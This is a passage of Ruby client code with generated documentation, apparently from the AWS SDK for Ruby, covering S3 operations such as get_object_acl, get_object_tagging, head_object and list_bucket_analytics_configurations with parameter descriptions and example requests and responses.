#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# The key of the object for which to get the ACL information.
#
# @option params [String] :version_id
# VersionId used to reference a specific version of the object.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::GetObjectAclOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetObjectAclOutput#owner #owner} => Types::Owner
# * {Types::GetObjectAclOutput#grants #grants} => Array<Types::Grant>
# * {Types::GetObjectAclOutput#request_charged #request_charged} => String
#
#
# @example Example: To retrieve object ACL
#
# # The following example retrieves access control list (ACL) of an object.
#
# resp = client.get_object_acl({
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# })
#
# resp.to_h outputs the following:
# {
# grants: [
# {
# grantee: {
# display_name: "owner-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# type: "CanonicalUser",
# },
# permission: "WRITE",
# },
# {
# grantee: {
# display_name: "owner-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# type: "CanonicalUser",
# },
# permission: "WRITE_ACP",
# },
# {
# grantee: {
# display_name: "owner-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# type: "CanonicalUser",
# },
# permission: "READ",
# },
# {
# grantee: {
# display_name: "owner-display-name",
# id: "852b113eexamplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# type: "CanonicalUser",
# },
# permission: "READ_ACP",
# },
# ],
# owner: {
# display_name: "owner-display-name",
# id: "examplee7a2f25102679df27bb0ae12b3f85be6f290b936c4393484be31bebcc",
# },
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_object_acl({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# version_id: "ObjectVersionId",
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.owner.display_name #=> String
# resp.owner.id #=> String
# resp.grants #=> Array
# resp.grants[0].grantee.display_name #=> String
# resp.grants[0].grantee.email_address #=> String
# resp.grants[0].grantee.id #=> String
# resp.grants[0].grantee.type #=> String, one of "CanonicalUser", "AmazonCustomerByEmail", "Group"
# resp.grants[0].grantee.uri #=> String
# resp.grants[0].permission #=> String, one of "FULL_CONTROL", "WRITE", "WRITE_ACP", "READ", "READ_ACP"
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectAcl AWS API Documentation
#
# @overload get_object_acl(params = {})
# @param [Hash] params ({})
def get_object_acl(params = {}, options = {})
req = build_request(:get_object_acl, params)
req.send_request(options)
end
# Gets an object's current Legal Hold status. For more information, see
# [Locking Objects][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lock.html
#
# @option params [required, String] :bucket
# The bucket name containing the object whose Legal Hold status you want
# to retrieve.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# The key name for the object whose Legal Hold status you want to
# retrieve.
#
# @option params [String] :version_id
# The version ID of the object whose Legal Hold status you want to
# retrieve.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::GetObjectLegalHoldOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetObjectLegalHoldOutput#legal_hold #legal_hold} => Types::ObjectLockLegalHold
#
# @example Request syntax with placeholder values
#
# resp = client.get_object_legal_hold({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# version_id: "ObjectVersionId",
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.legal_hold.status #=> String, one of "ON", "OFF"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectLegalHold AWS API Documentation
#
# @overload get_object_legal_hold(params = {})
# @param [Hash] params ({})
def get_object_legal_hold(params = {}, options = {})
req = build_request(:get_object_legal_hold, params)
req.send_request(options)
end
# Gets the Object Lock configuration for a bucket. The rule specified in
# the Object Lock configuration will be applied by default to every new
# object placed in the specified bucket. For more information, see
# [Locking Objects][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lock.html
#
# @option params [required, String] :bucket
# The bucket whose Object Lock configuration you want to retrieve.
#
# @return [Types::GetObjectLockConfigurationOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetObjectLockConfigurationOutput#object_lock_configuration #object_lock_configuration} => Types::ObjectLockConfiguration
#
# @example Request syntax with placeholder values
#
# resp = client.get_object_lock_configuration({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.object_lock_configuration.object_lock_enabled #=> String, one of "Enabled"
# resp.object_lock_configuration.rule.default_retention.mode #=> String, one of "GOVERNANCE", "COMPLIANCE"
# resp.object_lock_configuration.rule.default_retention.days #=> Integer
# resp.object_lock_configuration.rule.default_retention.years #=> Integer
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectLockConfiguration AWS API Documentation
#
# @overload get_object_lock_configuration(params = {})
# @param [Hash] params ({})
def get_object_lock_configuration(params = {}, options = {})
req = build_request(:get_object_lock_configuration, params)
req.send_request(options)
end
# Retrieves an object's retention settings. For more information, see
# [Locking Objects][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lock.html
#
# @option params [required, String] :bucket
# The bucket name containing the object whose retention settings you
# want to retrieve.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# The key name for the object whose retention settings you want to
# retrieve.
#
# @option params [String] :version_id
# The version ID for the object whose retention settings you want to
# retrieve.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::GetObjectRetentionOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetObjectRetentionOutput#retention #retention} => Types::ObjectLockRetention
#
# @example Request syntax with placeholder values
#
# resp = client.get_object_retention({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# version_id: "ObjectVersionId",
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.retention.mode #=> String, one of "GOVERNANCE", "COMPLIANCE"
# resp.retention.retain_until_date #=> Time
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectRetention AWS API Documentation
#
# @overload get_object_retention(params = {})
# @param [Hash] params ({})
def get_object_retention(params = {}, options = {})
req = build_request(:get_object_retention, params)
req.send_request(options)
end
# Returns the tag-set of an object. You send the GET request against the
# tagging subresource associated with the object.
#
# To use this operation, you must have permission to perform the
# `s3:GetObjectTagging` action. By default, the GET operation returns
# information about current version of an object. For a versioned
# bucket, you can have multiple versions of an object in your bucket. To
# retrieve tags of any other version, use the versionId query parameter.
# You also need permission for the `s3:GetObjectVersionTagging` action.
#
# By default, the bucket owner has this permission and can grant this
# permission to others.
#
# For information about the Amazon S3 object tagging feature, see
# [Object Tagging][1].
#
# The following operation is related to `GetObjectTagging`\:
#
# * PutObjectTagging
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-tagging.html
#
# @option params [required, String] :bucket
# The bucket name containing the object for which to get the tagging
# information.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# Object key for which to get the tagging information.
#
# @option params [String] :version_id
# The versionId of the object for which to get the tagging information.
#
# @return [Types::GetObjectTaggingOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetObjectTaggingOutput#version_id #version_id} => String
# * {Types::GetObjectTaggingOutput#tag_set #tag_set} => Array<Types::Tag>
#
#
# @example Example: To retrieve tag set of an object
#
# # The following example retrieves tag set of an object.
#
# resp = client.get_object_tagging({
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# })
#
# resp.to_h outputs the following:
# {
# tag_set: [
# {
# key: "Key4",
# value: "Value4",
# },
# {
# key: "Key3",
# value: "Value3",
# },
# ],
# version_id: "null",
# }
#
# @example Example: To retrieve tag set of a specific object version
#
# # The following example retrieves tag set of an object. The request specifies object version.
#
# resp = client.get_object_tagging({
# bucket: "examplebucket",
# key: "exampleobject",
# version_id: "ydlaNkwWm0SfKJR.T1b1fIdPRbldTYRI",
# })
#
# resp.to_h outputs the following:
# {
# tag_set: [
# {
# key: "Key1",
# value: "Value1",
# },
# ],
# version_id: "ydlaNkwWm0SfKJR.T1b1fIdPRbldTYRI",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_object_tagging({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# version_id: "ObjectVersionId",
# })
#
# @example Response structure
#
# resp.version_id #=> String
# resp.tag_set #=> Array
# resp.tag_set[0].key #=> String
# resp.tag_set[0].value #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectTagging AWS API Documentation
#
# @overload get_object_tagging(params = {})
# @param [Hash] params ({})
def get_object_tagging(params = {}, options = {})
req = build_request(:get_object_tagging, params)
req.send_request(options)
end
# Return torrent files from a bucket. BitTorrent can save you bandwidth
# when you're distributing large files. For more information about
# BitTorrent, see [Amazon S3 Torrent][1].
#
# <note markdown="1"> You can get torrent only for objects that are less than 5 GB in size
# and that are not encrypted using server-side encryption with
# customer-provided encryption key.
#
# </note>
#
# To use GET, you must have READ access to the object.
#
# The following operation is related to `GetObjectTorrent`\:
#
# * GetObject
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/S3Torrent.html
#
# @option params [String, IO] :response_target
# Where to write response data, file path, or IO object.
#
# @option params [required, String] :bucket
# The name of the bucket containing the object for which to get the
# torrent files.
#
# @option params [required, String] :key
# The object key for which to get the information.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::GetObjectTorrentOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetObjectTorrentOutput#body #body} => IO
# * {Types::GetObjectTorrentOutput#request_charged #request_charged} => String
#
#
# @example Example: To retrieve torrent files for an object
#
# # The following example retrieves torrent files of an object.
#
# resp = client.get_object_torrent({
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# })
#
# resp.to_h outputs the following:
# {
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_object_torrent({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.body #=> IO
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetObjectTorrent AWS API Documentation
#
# @overload get_object_torrent(params = {})
# @param [Hash] params ({})
def get_object_torrent(params = {}, options = {}, &block)
req = build_request(:get_object_torrent, params)
req.send_request(options, &block)
end
# Retrieves the `PublicAccessBlock` configuration for an Amazon S3
# bucket. To use this operation, you must have the
# `s3:GetBucketPublicAccessBlock` permission. For more information about
# Amazon S3 permissions, see [Specifying Permissions in a Policy][1].
#
# When Amazon S3 evaluates the `PublicAccessBlock` configuration for a
# bucket or an object, it checks the `PublicAccessBlock` configuration
# for both the bucket (or the bucket that contains the object) and the
# bucket owner's account. If the `PublicAccessBlock` settings are
# different between the bucket and the account, Amazon S3 uses the most
# restrictive combination of the bucket-level and account-level
# settings.
#
# For more information about when Amazon S3 considers a bucket or an
# object public, see [The Meaning of "Public"][2].
#
# The following operations are related to `GetPublicAccessBlock`\:
#
# * [Using Amazon S3 Block Public Access][3]
#
# * PutPublicAccessBlock
#
# * GetPublicAccessBlock
#
# * DeletePublicAccessBlock
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html#access-control-block-public-access-policy-status
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html
#
# @option params [required, String] :bucket
# The name of the Amazon S3 bucket whose `PublicAccessBlock`
# configuration you want to retrieve.
#
# @return [Types::GetPublicAccessBlockOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetPublicAccessBlockOutput#public_access_block_configuration #public_access_block_configuration} => Types::PublicAccessBlockConfiguration
#
# @example Request syntax with placeholder values
#
# resp = client.get_public_access_block({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.public_access_block_configuration.block_public_acls #=> Boolean
# resp.public_access_block_configuration.ignore_public_acls #=> Boolean
# resp.public_access_block_configuration.block_public_policy #=> Boolean
# resp.public_access_block_configuration.restrict_public_buckets #=> Boolean
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetPublicAccessBlock AWS API Documentation
#
# @overload get_public_access_block(params = {})
# @param [Hash] params ({})
def get_public_access_block(params = {}, options = {})
req = build_request(:get_public_access_block, params)
req.send_request(options)
end
# This operation is useful to determine if a bucket exists and you have
# permission to access it. The operation returns a `200 OK` if the
# bucket exists and you have permission to access it. Otherwise, the
# operation might return responses such as `404 Not Found` and `403
# Forbidden`.
#
# To use this operation, you must have permissions to perform the
# `s3:ListBucket` action. The bucket owner has this permission by
# default and can grant this permission to others. For more information
# about permissions, see [Permissions Related to Bucket Subresource
# Operations][1] and [Managing Access Permissions to Your Amazon S3
# Resources][2].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
# @option params [required, String] :bucket
# The bucket name.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: To determine if bucket exists
#
# # This operation checks to see if a bucket exists.
#
# resp = client.head_bucket({
# bucket: "acl1",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.head_bucket({
# bucket: "BucketName", # required
# })
#
#
# The following waiters are defined for this operation (see {Client#wait_until} for detailed usage):
#
# * bucket_exists
# * bucket_not_exists
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/HeadBucket AWS API Documentation
#
# @overload head_bucket(params = {})
# @param [Hash] params ({})
def head_bucket(params = {}, options = {})
req = build_request(:head_bucket, params)
req.send_request(options)
end
# The HEAD operation retrieves metadata from an object without returning
# the object itself. This operation is useful if you're only interested
# in an object's metadata. To use HEAD, you must have READ access to
# the object.
#
# A `HEAD` request has the same options as a `GET` operation on an
# object. The response is identical to the `GET` response except that
# there is no response body.
#
# If you encrypt an object by using server-side encryption with
# customer-provided encryption keys (SSE-C) when you store the object in
# Amazon S3, then when you retrieve the metadata from the object, you
# must use the following headers:
#
# * x-amz-server-side-encryption-customer-algorithm
#
# * x-amz-server-side-encryption-customer-key
#
# * x-amz-server-side-encryption-customer-key-MD5
#
# For more information about SSE-C, see [Server-Side Encryption (Using
# Customer-Provided Encryption Keys)][1].
#
# <note markdown="1"> Encryption request headers, like `x-amz-server-side-encryption`,
# should not be sent for GET requests if your object uses server-side
# encryption with CMKs stored in AWS KMS (SSE-KMS) or server-side
# encryption with Amazon S3–managed encryption keys (SSE-S3). If your
# object does use these types of keys, you’ll get an HTTP 400 BadRequest
# error.
#
# </note>
#
# Request headers are limited to 8 KB in size. For more information, see
# [Common Request Headers][2].
#
# Consider the following when using request headers:
#
# * Consideration 1 – If both of the `If-Match` and
# `If-Unmodified-Since` headers are present in the request as follows:
#
# * `If-Match` condition evaluates to `true`, and;
#
# * `If-Unmodified-Since` condition evaluates to `false`;
#
# Then Amazon S3 returns `200 OK` and the data requested.
#
# * Consideration 2 – If both of the `If-None-Match` and
# `If-Modified-Since` headers are present in the request as follows:
#
# * `If-None-Match` condition evaluates to `false`, and;
#
# * `If-Modified-Since` condition evaluates to `true`;
#
# Then Amazon S3 returns the `304 Not Modified` response code.
#
# For more information about conditional requests, see [RFC 7232][3].
#
# **Permissions**
#
# You need the `s3:GetObject` permission for this operation. For more
# information, see [Specifying Permissions in a Policy][4]. If the
# object you request does not exist, the error Amazon S3 returns depends
# on whether you also have the s3:ListBucket permission.
#
# * If you have the `s3:ListBucket` permission on the bucket, Amazon S3
# returns an HTTP status code 404 ("no such key") error.
#
# * If you don’t have the `s3:ListBucket` permission, Amazon S3 returns
# an HTTP status code 403 ("access denied") error.
#
# The following operation is related to `HeadObject`\:
#
# * GetObject
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerSideEncryptionCustomerKeys.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/API/RESTCommonRequestHeaders.html
# [3]: https://tools.ietf.org/html/rfc7232
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html
#
# @option params [required, String] :bucket
# The name of the bucket containing the object.
#
# @option params [String] :if_match
# Return the object only if its entity tag (ETag) is the same as the one
# specified, otherwise return a 412 (precondition failed).
#
# @option params [Time,DateTime,Date,Integer,String] :if_modified_since
# Return the object only if it has been modified since the specified
# time, otherwise return a 304 (not modified).
#
# @option params [String] :if_none_match
# Return the object only if its entity tag (ETag) is different from the
# one specified, otherwise return a 304 (not modified).
#
# @option params [Time,DateTime,Date,Integer,String] :if_unmodified_since
# Return the object only if it has not been modified since the specified
# time, otherwise return a 412 (precondition failed).
#
# @option params [required, String] :key
# The object key.
#
# @option params [String] :range
# Downloads the specified range bytes of an object. For more information
# about the HTTP Range header, see
# [http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35]().
#
# <note markdown="1"> Amazon S3 doesn't support retrieving multiple ranges of data per
# `GET` request.
#
# </note>
#
# @option params [String] :version_id
# VersionId used to reference a specific version of the object.
#
# @option params [String] :sse_customer_algorithm
# Specifies the algorithm to use to when encrypting the object (for
# example, AES256).
#
# @option params [String] :sse_customer_key
# Specifies the customer-provided encryption key for Amazon S3 to use in
# encrypting data. This value is used to store the object and then it is
# discarded; Amazon S3 does not store the encryption key. The key must
# be appropriate for use with the algorithm specified in the
# `x-amz-server-side-encryption-customer-algorithm` header.
#
# @option params [String] :sse_customer_key_md5
# Specifies the 128-bit MD5 digest of the encryption key according to
# RFC 1321. Amazon S3 uses this header for a message integrity check to
# ensure that the encryption key was transmitted without error.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [Integer] :part_number
# Part number of the object being read. This is a positive integer
# between 1 and 10,000. Effectively performs a 'ranged' HEAD request
# for the part specified. Useful querying about the size of the part and
# the number of parts in this object.
#
# @return [Types::HeadObjectOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::HeadObjectOutput#delete_marker #delete_marker} => Boolean
# * {Types::HeadObjectOutput#accept_ranges #accept_ranges} => String
# * {Types::HeadObjectOutput#expiration #expiration} => String
# * {Types::HeadObjectOutput#restore #restore} => String
# * {Types::HeadObjectOutput#last_modified #last_modified} => Time
# * {Types::HeadObjectOutput#content_length #content_length} => Integer
# * {Types::HeadObjectOutput#etag #etag} => String
# * {Types::HeadObjectOutput#missing_meta #missing_meta} => Integer
# * {Types::HeadObjectOutput#version_id #version_id} => String
# * {Types::HeadObjectOutput#cache_control #cache_control} => String
# * {Types::HeadObjectOutput#content_disposition #content_disposition} => String
# * {Types::HeadObjectOutput#content_encoding #content_encoding} => String
# * {Types::HeadObjectOutput#content_language #content_language} => String
# * {Types::HeadObjectOutput#content_type #content_type} => String
# * {Types::HeadObjectOutput#expires #expires} => Time
# * {Types::HeadObjectOutput#expires_string #expires_string} => String
# * {Types::HeadObjectOutput#website_redirect_location #website_redirect_location} => String
# * {Types::HeadObjectOutput#server_side_encryption #server_side_encryption} => String
# * {Types::HeadObjectOutput#metadata #metadata} => Hash<String,String>
# * {Types::HeadObjectOutput#sse_customer_algorithm #sse_customer_algorithm} => String
# * {Types::HeadObjectOutput#sse_customer_key_md5 #sse_customer_key_md5} => String
# * {Types::HeadObjectOutput#ssekms_key_id #ssekms_key_id} => String
# * {Types::HeadObjectOutput#storage_class #storage_class} => String
# * {Types::HeadObjectOutput#request_charged #request_charged} => String
# * {Types::HeadObjectOutput#replication_status #replication_status} => String
# * {Types::HeadObjectOutput#parts_count #parts_count} => Integer
# * {Types::HeadObjectOutput#object_lock_mode #object_lock_mode} => String
# * {Types::HeadObjectOutput#object_lock_retain_until_date #object_lock_retain_until_date} => Time
# * {Types::HeadObjectOutput#object_lock_legal_hold_status #object_lock_legal_hold_status} => String
#
#
# @example Example: To retrieve metadata of an object without returning the object itself
#
# # The following example retrieves an object metadata.
#
# resp = client.head_object({
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# })
#
# resp.to_h outputs the following:
# {
# accept_ranges: "bytes",
# content_length: 3191,
# content_type: "image/jpeg",
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# last_modified: Time.parse("Thu, 15 Dec 2016 01:19:41 GMT"),
# metadata: {
# },
# version_id: "null",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.head_object({
# bucket: "BucketName", # required
# if_match: "IfMatch",
# if_modified_since: Time.now,
# if_none_match: "IfNoneMatch",
# if_unmodified_since: Time.now,
# key: "ObjectKey", # required
# range: "Range",
# version_id: "ObjectVersionId",
# sse_customer_algorithm: "SSECustomerAlgorithm",
# sse_customer_key: "SSECustomerKey",
# sse_customer_key_md5: "SSECustomerKeyMD5",
# request_payer: "requester", # accepts requester
# part_number: 1,
# })
#
# @example Response structure
#
# resp.delete_marker #=> Boolean
# resp.accept_ranges #=> String
# resp.expiration #=> String
# resp.restore #=> String
# resp.last_modified #=> Time
# resp.content_length #=> Integer
# resp.etag #=> String
# resp.missing_meta #=> Integer
# resp.version_id #=> String
# resp.cache_control #=> String
# resp.content_disposition #=> String
# resp.content_encoding #=> String
# resp.content_language #=> String
# resp.content_type #=> String
# resp.expires #=> Time
# resp.expires_string #=> String
# resp.website_redirect_location #=> String
# resp.server_side_encryption #=> String, one of "AES256", "aws:kms"
# resp.metadata #=> Hash
# resp.metadata["MetadataKey"] #=> String
# resp.sse_customer_algorithm #=> String
# resp.sse_customer_key_md5 #=> String
# resp.ssekms_key_id #=> String
# resp.storage_class #=> String, one of "STANDARD", "REDUCED_REDUNDANCY", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "GLACIER", "DEEP_ARCHIVE"
# resp.request_charged #=> String, one of "requester"
# resp.replication_status #=> String, one of "COMPLETE", "PENDING", "FAILED", "REPLICA"
# resp.parts_count #=> Integer
# resp.object_lock_mode #=> String, one of "GOVERNANCE", "COMPLIANCE"
# resp.object_lock_retain_until_date #=> Time
# resp.object_lock_legal_hold_status #=> String, one of "ON", "OFF"
#
#
# The following waiters are defined for this operation (see {Client#wait_until} for detailed usage):
#
# * object_exists
# * object_not_exists
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/HeadObject AWS API Documentation
#
# @overload head_object(params = {})
# @param [Hash] params ({})
def head_object(params = {}, options = {})
req = build_request(:head_object, params)
req.send_request(options)
end
# Lists the analytics configurations for the bucket. You can have up to
# 1,000 analytics configurations per bucket.
#
# This operation supports list pagination and does not return more than
# 100 configurations at a time. You should always check the
# `IsTruncated` element in the response. If there are no more
# configurations to list, `IsTruncated` is set to false. If there are
# more configurations to list, `IsTruncated` is set to true, and there
# will be a value in `NextContinuationToken`. You use the
# `NextContinuationToken` value to continue the pagination of the list
# by passing the value in continuation-token in the request to `GET` the
# next page.
#
# To use this operation, you must have permissions to perform the
# `s3:GetAnalyticsConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2].
#
# For information about Amazon S3 analytics feature, see [Amazon S3
# Analytics – Storage Class Analysis][3].
#
# The following operations are related to
# `ListBucketAnalyticsConfigurations`\:
#
# * GetBucketAnalyticsConfiguration
#
# * DeleteBucketAnalyticsConfiguration
#
# * PutBucketAnalyticsConfiguration
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/analytics-storage-class.html
#
# @option params [required, String] :bucket
# The name of the bucket from which analytics configurations are
# retrieved.
#
# @option params [String] :continuation_token
# The ContinuationToken that represents a placeholder from where this
# request should begin.
#
# @return [Types::ListBucketAnalyticsConfigurationsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListBucketAnalyticsConfigurationsOutput#is_truncated #is_truncated} => Boolean
# * {Types::ListBucketAnalyticsConfigurationsOutput#continuation_token #continuation_token} => String
# * {Types::ListBucketAnalyticsConfigurationsOutput#next_continuation_token #next_continuation_token} => String
# * {Types::ListBucketAnalyticsConfigurationsOutput#analytics_configuration_list #analytics_configuration_list} => Array<Types::AnalyticsConfiguration>
#
# @example Request syntax with placeholder values
#
# resp = client.list_bucket_analytics_configurations({
# bucket: "BucketName", # required
# continuation_token: "Token",
# })
#
# @example Response structure
#
# resp.is_truncated #=> Boolean
# resp.continuation_token #=> String
# resp.next_continuation_token #=> String
# resp.analytics_configuration_list #=> Array
# resp.analytics_configuration_list[0].id #=> String
# resp.analytics_configuration_list[0].filter.prefix #=> String
# resp.analytics_configuration_list[0].filter.tag.key #=> String
# resp.analytics_configuration_list[0].filter.tag.value #=> String
# resp.analytics_configuration_list[0].filter.and.prefix #=> String
# resp.analytics_configuration_list[0].filter.and.tags #=> Array
# resp.analytics_configuration_list[0].filter.and.tags[0].key #=> String
# resp.analytics_configuration_list[0].filter.and.tags[0].value #=> String
# resp.analytics_configuration_list[0].storage_class_analysis.data_export.output_schema_version #=> String, one of "V_1"
# resp.analytics_configuration_list[0].storage_class_analysis.data_export.destination.s3_bucket_destination.format #=> String, one of "CSV"
# resp.analytics_configuration_list[0].storage_class_analysis.data_export.destination.s3_bucket_destination.bucket_account_id #=> String
# resp.analytics_configuration_list[0].storage_class_analysis.data_export.destination.s3_bucket_destination.bucket #=> String
# resp.analytics_configuration_list[0].storage_class_analysis.data_export.destination.s3_bucket_destination.prefix #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBucketAnalyticsConfigurations AWS API Documentation
#
# @overload list_bucket_analytics_configurations(params = {})
# @param [Hash] params ({})
def list_bucket_analytics_configurations(params = {}, options = {})
req = build_request(:list_bucket_analytics_configurations, params)
req.send_request(options)
end
# Returns a list of inventory configurations for the bucket. You can
# have up to 1,000 analytics configurations per bucket.
#
# This operation supports list pagination and does not return more than
# 100 configurations at a time. Always check the `IsTruncated` element
# in the response. If there are no more configurations to list,
# `IsTruncated` is set to false. If there are more configurations to
